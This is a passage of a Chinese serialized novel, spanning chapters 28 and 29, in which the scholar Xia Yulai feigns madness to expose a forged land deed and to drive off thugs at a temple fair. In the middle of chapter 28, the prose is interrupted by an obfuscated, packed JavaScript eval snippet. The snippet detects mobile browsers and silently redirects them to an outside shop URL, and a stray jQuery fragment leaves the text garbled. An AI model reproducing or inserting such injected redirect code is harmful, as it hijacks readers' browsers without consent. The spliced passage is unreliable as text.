阿翠清了清嗓子,唱道:“夏秀才,真英勇,装疯卖傻治恶犬。认犬为煞驱凶性,戳穿阴谋索赔偿,市井安宁得保障,潮州城太平万年长!” 百姓们纷纷跟着合唱起来,歌声回荡在东门街的上空,与阿翠茶摊的铜壶煮茶声交织在一起,充满了欢乐和感激。 阳光透过老榕树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。东门街的市井又恢复了往日的热闹非凡,孩子们在街巷里嬉戏打闹,摊贩们放心地叫卖货物,再也不用担心被恶犬骚扰了。 自此,夏雨来 “装疯卖傻治恶犬” 的故事,成为了潮州城又一段不朽的佳话。百姓们将这个故事与之前戏耍陈老财、保护老榕树、护古井、揭布奸的故事一起,代代相传,告诫后人:公道自在人心,团结就是力量,只要有勇气和智慧,就能战胜一切邪恶势力,保护好自己的家园和市井安宁。 而鬼才秀才夏雨来的名字,也永远与这场制服恶犬的闹剧一起,深深烙印在潮州城百姓的心中,成为了正义与智慧的象征。 28. 田契骗局 一、秋高气爽,田契生祸 深秋的潮州城,天朗气清,东门街外的稻田一片金黄,沉甸甸的稻穗压弯了稻秆,空气中弥漫着谷物的清香。农户们忙着收割稻谷,脸上洋溢着丰收的喜悦,唯有城西的老农户孙老实一家愁眉不展 —— 陈老财虽在狱中,却通过其侄子陈三,用一份篡改过的田契,夺走了孙家世代耕种的五亩良田。 这五亩良田位于西门外的河畔,土壤肥沃,灌溉便利,是孙家赖以生存的根本。十年前,孙老实的父亲病重,急需银子医治,曾向陈老财借了五十两银子,双方约定 “三年后归还本息,若无力偿还,以田产抵押,限期赎回”。孙老实一家省吃俭用,两年前便凑齐了银子,想要赎回田地,可陈老财却以各种理由推脱。如今陈老财入狱,陈三突然拿着一份 “绝卖田契” 找上门,声称孙家早已将田地 “自愿绝卖” 给陈家,再也无权赎回。 “绝卖?这不可能!” 孙老实拿着田契,双手颤抖,“当年明明约定的是抵押,怎么会变成绝卖?这上面的字根本不是我爹的笔迹!” 陈三是个油头粉面的年轻人,仗着陈老财的势力,向来横行霸道。他一把夺过田契,倨傲地说道:“孙老实,你可别血口喷人!这田契上有你爹的亲笔签名和手印,还有见证人签字,白纸黑字,铁证如山!你要是再敢胡搅蛮缠,我就报官抓你!” 原来,陈老财早就觊觎孙家的良田,当年借银子时便留了后手。他让人模仿孙老实父亲的笔迹,篡改了田契上的关键条款,将 “抵押” 改为 “绝卖”,又伪造了见证人的签名,想要将良田据为己有。如今陈老财入狱,便让陈三拿着篡改后的田契,逼迫孙家交出田地。 孙老实深知父亲的为人,绝不会轻易将世代耕种的良田绝卖。他带着田契找了不少识字的人查看,众人都觉得字迹可疑,可谁也不敢得罪陈家,只能劝他自认倒霉。这日清晨,孙老实抱着最后一丝希望,带着田契来到东门街,想要找夏雨来帮忙。 “夏秀才,你可得救救我们全家啊!” 孙老实跪在夏雨来面前,泪如雨下,“这五亩田是我们孙家的命根子,要是被陈家夺走,我们一家老小就只能饿死了!” 夏雨来连忙扶起孙老实,接过田契仔细查看。只见这份田契纸张泛黄,看似有些年头,上面的字迹却有明显的违和感 ——“绝卖” 二字的墨迹比其他字迹更深,笔画也更为生硬,与周围的字迹风格迥异。而且田契上的见证人签名,其中一位早已过世多年,根本不可能在十年前的田契上签字。 “孙大叔,你别急!” 夏雨来眉头紧锁,“这田契确实有问题,‘绝卖’二字是后加的,见证人签名也是伪造的。只是陈三仗着陈家余威,又有伪造的田契,硬拼恐难奏效。” 沉思片刻后,夏雨来嘴角又勾起了那抹熟悉的狡黠笑容:“陈三此人虚荣又胆怯,最看重‘名分’,最怕‘鬼神’之说。田产乃是百姓安身立命之本,古人常说‘地有灵性,欺地者必遭天谴’。我便装成被‘地神’附身的疯癫之人,借着‘田契作伪,触怒地神’的由头,逼陈三承认篡改田契的事实,还你们家一个公道!” “又装疯子?” 阿翠有些担忧,“陈三心狠手辣,比周旺还难对付,你要是被他伤到怎么办?” “放心,” 夏雨来拍了拍阿翠的肩膀,“陈三只是个纨绔子弟,没什么真本事,最怕事情闹大影响陈家名声。我这‘疯癫’的模样,既能让他放松警惕,又能借着‘地神’的名义震慑他,让他不得不低头。而且《大明律》有云,伪造田契、侵占他人田产者,杖责五十,追回田产,赔偿损失。只要我们揭穿他的阴谋,官府定会为孙家做主!” 说罢,夏雨来转身跑回自己的小屋,片刻后便换了一身行头 —— 这次他披头散发,穿着一件沾满泥土的麻布衣裳,腰间系着一串用稻穗和泥土做成的 “项链”,手里拿着一根缠着稻草的木杖,活脱脱一个 “地神附身” 的疯癫农夫模样。他对着镜子照了照,满意地点点头,嘴里开始念念有词:“地神爷,显灵验,良田本是百姓根,谁敢篡改田契文,天打雷劈遭报应……” 街坊们见状,都纷纷议论起来:“夏秀才这是要干啥?真的疯了?”“上回他装疯治恶犬、揭布奸,这次肯定是为了帮孙老实夺回田地!”“不管是不是真疯,只要能揭穿陈家的阴谋就行!” 夏雨来不理会众人的议论,径直朝着陈三落脚的 “悦来客栈” 走去。一场围绕田契的疯癫大戏,即将拉开帷幕。 二、第一计:疯认田契为灵,乱其夺地局 悦来客栈门口,陈三正带着两个家丁,逼迫孙老实在 “自愿放弃田产” 的文书上签字。孙老实死死抱住门框,宁死不从。“孙老实,你别不识抬举!” 陈三一脚踢在孙老实的腿上,“这田地如今已是陈家的产业,你要是再敢阻拦,我就打断你的腿!” 就在这时,一阵疯疯癫癫的歌声从街那头传来:“地神爷,护良田,田契是魂不可偏,谁改一字遭天谴,断子绝孙无人怜……” 众人循声望去,只见夏雨来披头散发,腰系稻穗项链,手里挥舞着稻草木杖,疯疯癫癫地冲了过来。他径直跑到陈三面前,一把夺过那份篡改过的田契,紧紧抱在怀里,呜呜咽咽地哭了起来:“地神爷啊!你的魂怎么被人篡改了?这良田本是孙家的根,怎么就变成陈家的了?你要是不说话,百姓们就没活路了啊!” 陈三被夏雨来的举动吓了一跳,定睛一看,认出这是夏雨来,心里顿时生出几分厌恶和忌惮。他早就听说夏雨来智斗陈老财、制服恶犬的事情,知道这个人不好惹,可如今见他疯疯癫癫的样子,又觉得可笑:“哪里来的疯子?快给我滚开!这是陈家的田契,跟你有什么关系?” 家丁们连忙上前,想要夺回田契。可夏雨来却死死抱住田契,一边躲闪一边哭喊:“不许碰!这田契是地神爷的魂,你们碰了就是亵渎神灵,会遭天谴的!我是地神爷附身,来保护良田、惩治奸人的!” 他忽然站起身,指着陈三的鼻子,疯疯癫癫地骂道:“你这个黑心的恶贼!地神爷让你好生做人,你却帮着陈老财篡改田契、抢夺百姓的良田!你会遭报应的!你走路会掉进水沟,吃饭会被噎死,睡觉会被地神爷缠身,出门会被雷劈!” 周围的街坊们见状,都纷纷围了上来,七嘴八舌地议论起来。“夏秀才骂得好!陈家就是仗势欺人!”“孙老实一家多可怜,陈家连救命田都要抢!”“这田契肯定有问题,陈三就是个骗子!” 陈三的脸色瞬间变得难看,他最忌讳别人说他遭报应 —— 毕竟陈老财还在大牢里,他心里本就有些发虚,而且他从小就听长辈说,田地是有灵性的,欺负种田人、抢夺良田会遭天谴,心里本就有些迷信。可他又不想在街坊们面前丢了面子,只能强装镇定地喊道:“疯子胡言乱语!这田契是真的,有孙老实他爹的签名和手印,还有见证人签字,轮不到你这个疯子来管!” “真的?” 夏雨来哈哈大笑,笑得前仰后合,“好啊!你说这田契是真的,那你敢不敢让大家看看?这‘绝卖’二字的墨迹,比其他字迹深了不少,笔画也生硬得很,分明是后加的!还有这个见证人,三年前就已经过世了,怎么可能在十年前的田契上签字?你这是欺天瞒地,亵渎神灵!” 他一边说,一边将田契举过头顶,让周围的街坊们查看。“大家快看!这‘绝卖’二字明显是后加的,跟其他字迹根本不一样!”“还有这个见证人,我记得他早就死了,怎么会签字?” 街坊们纷纷点头,个个面带怒色。 陈三心里咯噔一下,他没想到夏雨来竟然这么快就发现了田契的破绽。他知道,这田契确实是篡改过的,要是被街坊们闹到官府,按照《大明律》,伪造田契、侵占田产可是重罪,不仅要追回田产,还要被杖责,得不偿失。而且他想起陈老财入狱前,曾特意叮嘱他 “凡事低调,切勿闹大”,要是因为田契的事情被官府追究,陈老财出来后肯定不会饶了他。 就在陈三犹豫不决时,夏雨来又说道:“陈三,我知道你是奉命行事。可你有没有想过,这田契是孙家的命根子,你夺走田地,就是断了孙家的活路。孙老实一家要是被逼得走投无路,定会跟你拼命,到时候你就算得到了田地,也不得安宁。而且官府对伪造田契、侵占田产的事情查得很严,要是真闹到官府,你不仅要归还田地,还得被杖责五十,赔偿孙家的损失,你这是得不偿失啊!” 这句话,正好戳中了陈三的软肋。他知道,孙老实为人忠厚老实,可要是真的被逼急了,什么事情都做得出来。而且他也听说,最近有街坊已经在准备联名向官府告状,要是真的闹到官府,他肯定讨不到好。 陈三的脸色一阵青一阵白,看着夏雨来坚定的眼神,又看着周围街坊们愤怒的目光,心里开始打退堂鼓。 三、第二计:疯辨字迹显伪,证其篡改实 陈三虽然心里打了退堂鼓,但依旧不想就这么灰溜溜地归还田地。他眼珠一转,又想出了一个歪主意:“就算这田契上的‘绝卖’二字是后加的,也是孙老实他爹当年自愿修改的,跟我陈家无关!我可以给孙家一点补偿,但想让我归还田地,绝无可能!” “一点补偿?” 孙老实气得喊道,“这五亩田是我们孙家世代耕种的良田,每年的收成足够我们一家老小糊口,你这点补偿够干什么的?而且你篡改田契、抢夺田产,本就是违法行为,必须归还田地,赔偿我们的损失!” “我说是多少就是多少!” 陈三强词夺理,“能给你补偿已经是仁至义尽了,你要是再敢胡搅蛮缠,我就对你不客气!” 他知道,孙老实只是个普通农户,没有什么后台,只要他坚持不归还田地,孙老实迟早会妥协。 夏雨来却依旧镇定自若,他转头看向张老爹,笑道:“张老爹,您是东门街最年长的人,当年也认识孙老实的父亲,您来说说,这田契上的字迹是不是孙老实他爹的亲笔?” 张老爹连忙站起身,接过田契仔细查看,摇了摇头说道:“这字迹根本不是孙老哥的亲笔!孙老哥的字虽然不算好看,但笔画圆润,力道均匀,可这田契上的字迹,尤其是‘绝卖’二字和签名,笔画生硬,力道不均,明显是别人模仿的!而且当年孙老哥向陈老财借银子时,我也在场,亲眼看到田契上写的是‘抵押’,不是‘绝卖’!” “是啊!我也认识孙老实的父亲,他的字根本不是这样的!” 另一位街坊也站起身说道,“陈三,你就是在伪造田契、抢夺田产!” “我可以作证!当年孙老哥确实是抵押田地,不是绝卖!” “陈三,你别想耍赖!” 周围的街坊们纷纷站起身,为孙老实作证。他们中有不少人认识孙老实的父亲,也知道当年孙家借银子的事情,自然不会让陈三肆意撒谎。 陈三看着眼前的一幕,脸色更加难看。他没想到,这么多街坊都敢站出来作证,他的谎言根本站不住脚。 “你们…… 你们都是一伙的!” 陈三气急败坏地说道,“你们故意偏袒这个疯子和孙老实!我才不信你们的话!” “偏袒?” 夏雨来冷笑一声,“我们只是说句公道话。这里这么多街坊,难道大家都在偏袒我们?难道大家的眼睛都瞎了?陈三,你要是真觉得这田契是真的,就敢不敢让官府来鉴定?要是官府认定田契是真的,我们不仅不要你归还田地,还会给你赔礼道歉;要是官府认定田契是伪造的,你就得归还田地,双倍赔偿孙家的损失!” 陈三心里一紧,他根本不敢让官府来鉴定,这田契确实是伪造的,一鉴定就露馅了。可他又不想在街坊们面前认怂,只能硬着头皮说道:“我…… 我为什么要让官府来鉴定?这是我陈家的田产,我说了算!” “你不敢了吧?” 夏雨来哈哈大笑,“我就知道你不敢!你心里清楚,这田契是伪造的,怕被官府查出来!陈三,你要是个男人,就敢作敢当,归还孙家的田地,赔偿孙家的损失!” 街坊们也纷纷喊道:“陈三,敢作敢当!归还田地,赔偿损失!” 陈三气得眼睛都红了,想要动手打夏雨来,却被街坊们拦住了。“陈三,你想干什么?”“光天化日之下,你还想打人?” 就在这时,夏雨来忽然从怀里掏出一瓶墨水和一支毛笔,走到陈三面前,说道:“陈三,你不是说这田契是真的吗?那你敢不敢让孙老实写几个字,跟田契上的签名对比一下?孙老实的字跟他爹的字有几分相似,要是田契上的签名是真的,肯定能看出端倪;要是田契上的签名是伪造的,一对比就知道了!” 陈三心里一紧,他知道,孙老实的字确实跟他爹的字有几分相似,要是真的对比,田契上的伪造签名肯定会露馅。可他又不想在街坊们面前认怂,只能硬着头皮说道:“对比就对比!我怕你不成?” 孙老实连忙接过毛笔,在纸上写下了自己的名字和 “抵押” 二字。夏雨来将孙老实写的字与田契上的签名和 “绝卖” 二字放在一起,让街坊们查看。“大家快看!孙老实的字笔画圆润,跟他爹的字风格相似,可田契上的签名和‘绝卖’二字笔画生硬,根本不是一家人的字迹!这田契肯定是伪造的!” 街坊们纷纷围上前查看,个个点头称是。“确实不一样!孙老实的字跟田契上的字根本不是一个风格!”“陈三就是在伪造田契、抢夺田产!”“快让他归还田地,赔偿损失!” 陈三吓得脸色惨白,他没想到,夏雨来竟然会用这样的方式揭穿他的阴谋。他知道,这下再也无法抵赖了,要是再坚持不归还田地,街坊们肯定会闹到官府,到时候他损失更大。 可他又不想就这么归还田地,只能硬着头皮说道:“这…… 这只是巧合!孙老实的字跟他爹的字不一样,不能说明什么!” “巧合?” 夏雨来冷笑一声,“是不是巧合,你我心里都清楚!地神爷说了,你要是再敢狡辩,就会让你家的田产全部荒芜,颗粒无收,让你陈家断子绝孙!” 他一边说,一边从怀里掏出一把香,点燃后插在地上,“香烛敬给地神爷,保佑我打败这个黑心恶贼,让百姓们讨回公道!” 家丁们见状,都犹豫着不敢上前。他们都是潮州城本地人,也都敬畏神灵,心里害怕真的会遭报应。 陈三气得浑身发抖,却又无可奈何。他知道,夏雨来说的是实话,要是再坚持不归还田地,街坊们肯定会闹到官府,到时候他不仅要归还田地,还得被杖责,赔偿损失,得不偿失。 四、第三计:疯揭篡改阴谋,逼其还田赔 陈三虽然心里已经松动,但依旧不想归还田地,更不想双倍赔偿。他眼珠一转,说道:“我可以归还田地,但想让我双倍赔偿,门都没有!而且这田契是陈老财让我做的,跟我无关!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446923|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不行!” 街坊们纷纷喊道,“你伪造田契、抢夺田产,本就是违法行为,必须双倍赔偿孙家的损失!而且你也是主谋之一,不能推卸责任!” “我说是多少就是多少!” 陈三强词夺理,“能归还田地已经是仁至义尽了,你们别得寸进尺!” 夏雨来却忽然停止了疯癫,眼神清明地说道:“陈三,你别以为我们不知道你的阴谋!你不仅帮着陈老财篡改田契、抢夺孙家的良田,还在其他地方用同样的手段,抢夺了好几户农户的田产!你以为做得天衣无缝,可纸终究包不住火,那些被你抢夺田产的农户,早就联合起来,准备向官府告状了!” 陈三吓得浑身发抖,他没想到夏雨来竟然知道他的全盘计划。其实,陈三不仅帮着陈老财抢夺了孙家的良田,还在其他地方用伪造田契、威逼利诱等手段,抢夺了三户农户的田产,想要扩大陈家的产业。 “你…… 你胡说!” 陈三结结巴巴地说道,“我没有!你这是故意污蔑我!” “我没有胡说!” 夏雨来忽然从怀里掏出一张纸,递给周围的街坊们,“大家快看!这是我偷偷抄下来的他的计划,上面写着要抢夺哪些农户的田产,用什么手段抢夺!还有被他抢夺田产的农户名单和联系方式!” 众人都愣住了,没想到夏雨来竟然还藏着这样的 “证据”。其实,这张纸是夏雨来早就准备好的,上面的内容都是他根据街坊们的议论和自己的观察推测出来的。 街坊们接过纸,纷纷传阅起来,个个面带怒色。“没想到陈三这么黑心,竟然抢夺了这么多农户的田产!”“我们绝不能让他得逞!”“快把他的阴谋告诉官府,让官府严惩他!” 陈三吓得魂飞魄散,连忙说道:“大家别听他的!这都是他伪造的证据!我没有抢夺其他农户的田产!” “是不是伪造的,一查便知!” 夏雨来冷笑一声,“我们可以去官府报案,让官府派人去调查那些被抢夺田产的农户,看看是不是真的被你用伪造田契的手段抢夺了田产!到时候,官府不仅会让你归还所有抢夺的田产,双倍赔偿农户的损失,还会治你的诈骗罪,让你把所有的非法所得都吐出来!” 陈三心里一紧,他知道,要是真的闹到官府,他不仅要归还所有抢夺的田产,双倍赔偿损失,还可能被治罪,到时候他的饭碗也保不住了,得不偿失。 就在陈三犹豫不决时,夏雨来又恢复了疯疯癫癫的模样,跪倒在地,哭喊道:“地神爷,你快显灵!让这个黑心恶贼说实话,归还孙家的田地,双倍赔偿孙家的损失,把抢夺其他农户的田产也一并归还!要是他再敢狡辩,就让他全家被田地吞噬,永世不得超生!” 周围的街坊们也纷纷跪倒在地:“地神爷显灵!让陈三归还田地,双倍赔偿!” 陈三吓得 “扑通” 一声跪倒在地,连连磕头:“地神爷饶命!我错了!我不该帮着陈老财篡改田契、抢夺孙家的良田,不该抢夺其他农户的田产!我愿意归还所有抢夺的田产,双倍赔偿孙家的损失!求您饶了我这一次!” 夏雨来见状,哈哈大笑道:“黑心恶贼认罪啦!地神爷,您听到了吗?黑心恶贼认罪啦!” 他跑到陈三面前,指着他的鼻子骂道:“你这个黑心的恶贼,以后再敢篡改田契、抢夺农户的田产,我就告诉地神爷,让他把你拖进田地里,让泥土把你活活埋了!” 陈三连连点头:“不敢了!我再也不敢了!” 五、疯戏传全城,良田归原主 陈三当场下令,让家丁将孙家的五亩良田归还给孙老实,还拿出银子,双倍赔偿了孙家的损失。随后,他又按照夏雨来的要求,联系了其他被他抢夺田产的农户,将田产一一归还,并赔偿了相应的损失。 孙老实拿着赔偿的银子,看着失而复得的良田,激动得热泪盈眶:“夏秀才,太谢谢你了!要不是你,我们全家早就没活路了!这良田也回不来了!” “是啊!夏秀才,你真是我们的大救星!” 其他被抢夺田产的农户也感激地说道,“我们终于能拿回自己的田产,安心耕种了!” 夏雨来笑了笑,说道:“不用谢我,要谢就谢地神爷,谢大家团结一心。陈三之所以敢篡改田契、抢夺田产,就是因为他觉得百姓们势单力薄,会忍气吞声。只要我们团结一心,坚守公道,就没有什么能欺负我们,就没有什么能夺走我们的安身立命之本。” 陈三看着眼前的一幕,心里又气又悔。他没想到,自己机关算尽,竟然栽在了一个 “疯子” 手里,不仅没赚到钱,还赔了不少银子,连抢夺的田产都得一一归还,真是得不偿失。 街坊们看着孙老实一家和其他农户拿回田产,都纷纷拍手称快。陈三在众人的唾骂声中,灰溜溜地离开了东门街。从此以后,他再也不敢仗着陈家的势力横行霸道了。 夏雨来装疯卖傻揭穿田契骗局的故事,迅速传遍了全城的大街小巷,成为了百姓们茶余饭后最热门的谈资。“你们听说了吗?夏秀才又装疯了!这次是为了揭穿陈三的田契骗局,帮孙老实和其他农户夺回了田产!”“当然听说了!夏秀才被地神爷附身,不仅揭穿了伪造的田契,还让陈三双倍赔偿了损失,太精彩了!”“真是太解气了!陈家仗势欺人,抢夺农户的田产,早就该被严惩了!”“夏秀才太机智了!装疯卖傻不仅揭穿了骗局,还为百姓们讨回了公道,真是一举两得!” 阿翠的茶摊,依旧是百姓们谈论这件事的中心。每天都有不少百姓来这里喝茶,听阿翠详细讲述夏雨来装疯揭穿田契骗局的经过,每次讲到精彩之处,都引来阵阵掌声和笑声。 这一天,孙老实和其他被夺回田产的农户,特意制作了一块 “为民做主,还我良田” 的牌匾,送到了夏雨来的住处。夏雨来穿着干净的青布长衫,恢复了往日温文尔雅的模样,接过牌匾,对着百姓们拱手道:“诸位乡亲,这牌匾我不能收。真正还大家良田的,不是我,是公道,是大家团结一心的力量。只要我们团结一心,坚守公道,就没有什么能欺负我们,就没有什么能夺走我们的安身立命之本。” 百姓们纷纷鼓掌叫好:“说得好!坚守公道,团结一心!” 阿翠笑着说道:“夏秀才,百姓们都为你编了新的歌谣,你想听听吗?” 夏雨来点了点头:“当然想。” 阿翠清了清嗓子,唱道:“夏秀才,真英勇,装疯卖傻辨田契。认契为灵揭伪迹,戳穿阴谋还良田,农户权益得保障,潮州城太平万年长!” 百姓们纷纷跟着合唱起来,歌声回荡在东门街的上空,与阿翠茶摊的铜壶煮茶声交织在一起,充满了欢乐和感激。 阳光透过老榕树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。东门街外的良田又恢复了往日的生机,农户们在田地里辛勤耕种,脸上洋溢着丰收的希望。 自此,夏雨来 “装疯卖傻辨田契” 的故事,成为了潮州城又一段不朽的佳话。百姓们将这个故事与之前戏耍陈老财、保护老榕树、护古井、揭布奸、治恶犬的故事一起,代代相传,告诫后人:公道自在人心,团结就是力量,只要有勇气和智慧,就能战胜一切邪恶势力,保护好自己的家园和安身立命之本。 而鬼才秀才夏雨来的名字,也永远与这场田契骗局的揭穿一起,深深烙印在潮州城百姓的心中,成为了正义与智慧的象征。 29. 庙会闹场 一、冬去春来,庙会盛景 仲春的潮州城,万物复苏,西门外的开元寺香火鼎盛,一年一度的观音庙会如期举行。这庙会是潮州城最热闹的民俗盛会,为期三日,不仅有祈福拜神的仪式,更有杂耍、戏曲、小吃摊、杂货铺等各色摊位绵延数里,吸引了周边府县的百姓纷纷赶来,摩肩接踵,人声鼎沸。 开元寺前的空地上,说书人敲着醒木讲得绘声绘色,围观百姓听得津津有味;杂耍艺人翻着筋斗、吐着火球,引得孩童们阵阵惊呼;小吃摊前香气扑鼻,糖画、剪纸、捏面人等手工艺品摊位前更是排起了长队。阿翠也推着茶摊来到庙会,铜壶煮茶的香气混着桂花糕的甜香,生意格外红火。张老爹、孙老实等街坊也纷纷赶来,或摆摊售卖自家农产品,或带着家人逛庙会、祈福许愿,人人脸上都洋溢着喜悦。 可谁也没想到,一群地痞流氓的出现,打破了庙会的祥和。为首的地痞名叫李虎,身材魁梧,满脸横肉,眼神凶狠,是潮州城出了名的恶霸。他纠集了七八名手下,平日里在街头巷尾敲诈勒索、为非作歹,百姓们敢怒不敢言。此次庙会,李虎见人多热闹,便动了歪心思,想要趁机敲诈摊位费、抢夺财物,甚至调戏良家妇女。 晌午时分,李虎带着手下大摇大摆地走进庙会,先是来到一个卖绸缎的摊位前,二话不说就开始挑刺,说绸缎质量不好,故意把一匹上好的丝绸扔在地上用脚踩踏。摊主是个老实巴交的外地商人,连忙上前求情:“好汉饶命!这绸缎是小的好不容易从苏杭运来的,您高抬贵手啊!” 李虎冷笑一声,一脚踢翻摊位,绸缎散落一地:“想要我们高抬贵手?拿五十两银子来!不然就砸了你整个摊子!” 摊主吓得脸色惨白,哪里拿得出五十两银子,只能苦苦哀求。李虎见状,指使手下开始抢夺摊位上的绸缎,还顺手打翻了旁边的小吃摊,滚烫的汤圆洒了一地,烫伤了不少围观百姓。 “住手!你们太过分了!” 孙老实看不下去,上前阻拦,却被李虎的手下一拳打倒在地。“老东西,也不看看这是谁的地盘!” 一名地痞嚣张地说道,对着孙老实又踢了几脚。周围的百姓们都十分愤怒,却又畏惧李虎等人的凶焰,只能纷纷后退,敢怒不敢言。 “这可怎么办啊?” 阿翠看着混乱的场面,担忧地说道,“再这样下去,庙会就被他们毁了,还不知道会有多少人遭殃!” 张老爹眉头紧锁:“李虎这伙人作恶多端,官府也奈何不了他们,我们只能自认倒霉了。” 就在这时,夏雨来背着旧书箱逛庙会归来,看到眼前的混乱景象和受伤的孙老实,连忙上前询问情况。得知李虎等人的恶行后,夏雨来的脸色顿时沉了下来。“夏秀才,你可回来了!” 百姓们像是抓住了救命稻草,纷纷围了上来,诉说着李虎的种种恶行。 夏雨来扶起孙老实,查看了他的伤势,又看了看被砸毁的摊位和散落的财物,眉头紧锁道:“庙会是祈福纳祥之地,李虎等人竟敢在此滋事伤人、抢夺财物,简直无法无天!《大明律》有云,无故扰乱市井、敲诈勒索者,杖责四十;伤人者,加倍治罪。只是他们人多势众,又凶残暴戾,硬拼恐难奏效。” 沉思片刻后,夏雨来嘴角又勾起了那抹熟悉的狡黠笑容:“李虎此人凶横却迷信,最怕‘鬼神报应’之说。庙会乃是观音菩萨显灵之地,百姓们心怀敬畏,我便顺水推舟,装成被‘观音菩萨’附身的疯癫之人,借着‘亵渎神灵,必遭天谴’的由头,震慑李虎等人,再联合街坊们形成联防,逼他们离开庙会,赔偿损失!” “又装疯子?” 阿翠有些担忧,“李虎比陈三、周旺都要凶狠,手里还拿着棍棒,你要是被他们伤到怎么办?” “放心,” 夏雨来拍了拍阿翠的肩膀,“李虎虽然凶狠,但也怕事情闹大。庙会人多眼杂,他要是敢对我这个‘菩萨附身’的人动手,定会引起公愤,到时候百姓们群起而攻之,他也讨不到好。而且我早已暗中让张老爹通知街坊们,只要我这边动手,大家就一起围上来,形成联防之势,让他们插翅难飞!” 说罢,夏雨来转身跑到庙会旁的一间破庙里,片刻后便换了一身行头 —— 这次他披头散发,穿着一件白色的麻布衣裳,上面用红颜料画满了符咒,腰间系着一串佛珠,手里拿着一根缠着红布的木鱼,活脱脱一个 “观音附身” 的疯癫僧人模样。他对着镜子照了照,满意地点点头,嘴里开始念念有词:“观音娘娘,显灵验,庙会祈福保平安,谁敢在此乱撒野,天打雷劈遭报应……” 街坊们见状,都纷纷议论起来:“夏秀才这是要干啥?真的疯了?”“上回他装疯辨田契、治恶犬,这次肯定是为了帮我们赶走李虎!”“不管是不是真疯,只要能让地痞们离开就行!” 夏雨来不理会众人的议论,径直朝着李虎等人走去。一场围绕庙会的疯癫大戏,即将拉开帷幕。 二、第一计:疯认庙会为灵,乱其滋事局 庙会中央,李虎正带着手下抢夺一个卖首饰的摊位,摊主是个年轻女子,吓得瑟瑟发抖,眼泪直流。“把值钱的都交出来!不然就别怪我们不客气!” 李虎恶狠狠地说道,伸手就要去抢女子脖子上的银项链。 就在这时,一阵疯疯癫癫的诵经声从人群中传来:“观音娘娘,护庙会,邪魔歪道快离开,伤人夺财遭天谴,断手断脚无人怜……” 众人循声望去,只见夏雨来披头散发,身着符咒麻衣,手里挥舞着木鱼,疯疯癫癫地冲了过来。他径直跑到李虎面前,一把拦住他的手,紧紧抱住旁边的香炉,呜呜咽咽地哭了起来:“观音娘娘啊!你的宝地怎么被邪魔玷污了?这庙会是百姓祈福之地,他们却在此伤人夺财,亵渎神灵,你要是不发怒,百姓们就没活路了啊!” 李虎被夏雨来的举动吓了一跳,定睛一看,认出这是夏雨来,心里顿时生出几分厌恶和忌惮。他早就听说夏雨来智斗陈老财、揭穿田契骗局的事情,知道这个人不好惹,可如今见他疯疯癫癫的样子,又觉得可笑:“哪里来的疯子?快给我滚开!这是老子的地盘,跟你有什么关系?” 手下们连忙上前,想要拉开夏雨来。可夏雨来却死死抱住香炉,一边躲闪一边哭喊:“不许碰!这香炉是观音娘娘的圣物,你们碰了就是亵渎神灵,会遭天谴的!我是观音娘娘附身,来惩治邪魔、保护庙会的!” 他忽然站起身,指着李虎的鼻子,疯疯癫癫地骂道:“你这个黑心的恶贼!观音娘娘让你好生做人,你却纠集恶徒,在庙会之上伤人夺财、为非作歹!你会遭报应的!你走路会被石头绊倒,吃饭会被骨头卡喉,睡觉会被恶鬼缠身,出门会被雷劈!” 周围的百姓们见状,都纷纷围了上来,七嘴八舌地议论起来。“夏秀才骂得好!李虎就是个邪魔!”“庙会是祈福之地,怎能容他在此撒野?”“观音娘娘显灵了,派夏秀才来惩治他了!” 李虎的脸色瞬间变得难看,他最忌讳别人说他遭报应 —— 毕竟他作恶多端,心里本就有些发虚,而且他从小就听长辈说,寺庙和庙会都是神灵庇佑之地,在此作恶会遭天谴,心里本就有些迷信。可他又不想在手下和百姓们面前丢了面子,只能强装镇定地喊道:“疯子胡言乱语!老子天不怕地不怕,什么神灵报应,都是骗人的!快给我赶走他!” 手下们闻言,纷纷上前想要拉扯夏雨来。可夏雨来却突然拿起香炉里的香灰,朝着他们撒去:“香灰显灵,驱邪避煞!你们这些邪魔歪道,快给我滚开!” 香灰迷了地痞们的眼睛,他们纷纷惨叫着后退,一时之间乱作一团。 百姓们见状,都纷纷拍手叫好:“好!香灰显灵了!”“李虎,你快收手吧,不然真的会遭天谴的!” 李虎心里咯噔一下,他没想到夏雨来的疯癫竟然真的能震慑住手下。他知道,这香炉里的香灰被百姓们视为 “圣物”,如今被香灰撒中,手下们心里肯定会犯嘀咕。而且他看到周围的百姓们都用愤怒的眼神看着他,人数越来越多,要是真的引起公愤,他们这几个人也讨不到好。 就在李虎犹豫不决时,夏雨来又说道:“李虎,我知道你是想趁机捞点好处。可你有没有想过,庙会之上人多眼杂,你在此伤人夺财,很快就会传遍全城,官府也会派兵前来捉拿。按照《大明律》,你这等行为轻则杖责,重则流放,你这是得不偿失啊!而且观音娘娘说了,你要是再不停手,就会让你断手断脚,永世不得超生!” 这句话,正好戳中了李虎的软肋。他知道,官府虽然平日里对他睁一只眼闭一只眼,但要是事情闹大,影响了庙会的秩序,官府为了安抚百姓,肯定会严惩他。而且他也听说,开元寺的方丈与知府大人颇有交情,要是方丈出面告状,他肯定没有好果子吃。 李虎的脸色一阵青一阵白,看着夏雨来坚定的眼神,又看着周围百姓们愤怒的目光,心里开始打退堂鼓。 三、第二计:疯阻滋事闹剧,显其神灵威 李虎虽然心里打了退堂鼓,但依旧不想就这么灰溜溜地离开,更不想赔偿损失。他眼珠一转,又想出了一个歪主意:“就算老子在此闹事,也是这些百姓不识抬举!我可以离开庙会,但想让我赔偿损失,绝无可能!” “不行!” 被砸摊位的绸缎商人大喊道,“我的摊位被你砸毁,绸缎被你抢夺,至少损失一百两银子,你必须赔偿!还有被你打伤的孙大叔和其他百姓,你也得赔偿医药费!” “我说是多少就是多少!” 